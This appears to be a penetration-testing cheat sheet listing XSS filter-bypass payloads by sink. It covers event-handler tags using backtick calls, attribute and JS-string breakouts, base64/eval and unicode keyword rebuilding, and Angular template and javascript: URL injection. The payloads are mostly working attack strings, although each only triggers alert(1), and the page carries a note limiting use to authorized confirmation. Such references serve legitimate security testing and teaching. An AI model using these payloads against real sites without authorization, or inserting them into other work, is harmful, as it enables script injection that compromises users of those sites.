XSS bypass (by sink)
Modern frameworks (React/Angular/Vue) auto-escape text, so the wins are unescaped attribute/href/src sinks, dangerous APIs, and framework-specific gadgets. Pick by where your input lands and what's filtered.
Stop after confirmation. Do not escalate impact without separate authorization.
Tag / parenthesis restricted
Backtick calls avoid `()`; event handlers avoid `<script>`. Lands on server-rendered HTML sinks.
<svg onload=alert`1`><img src onerror=alert`1`><video src onerror=alert`1`>
Attribute breakout
Escape the attribute, then add a handler or new tag.
" autofocus onfocus=alert(1) x="'><svg onload=alert(1)>"><img src=x onerror=alert(1)>
JS-string breakout
Close the string/script; watch for backslash-escaping of your quote.
';alert(1)//\';alert(1)//</script><svg onload=alert(1)>
Filtered-keyword rebuild
Base64/eval, string-splitting and unicode escapes rebuild blocked identifiers.
eval(atob('YWxlcnQoMSk='))top['al'+'ert'](1)onerror=\u0061lert(1)
DOM & framework sinks (modern)
Where React/Angular/Vue actually break: unsanitized href/src, dangerouslySetInnerHTML, Angular expression injection, and client-route DOM sinks.
javascript:alert(1) (in href/src){{constructor.constructor('alert(1)')()}} (Angular)#/?x=<img src=x onerror=alert(1)> (client-route sink)data:text/html,<script>alert(1)</script>
Version history: normalized permanent page created 2026-08-20.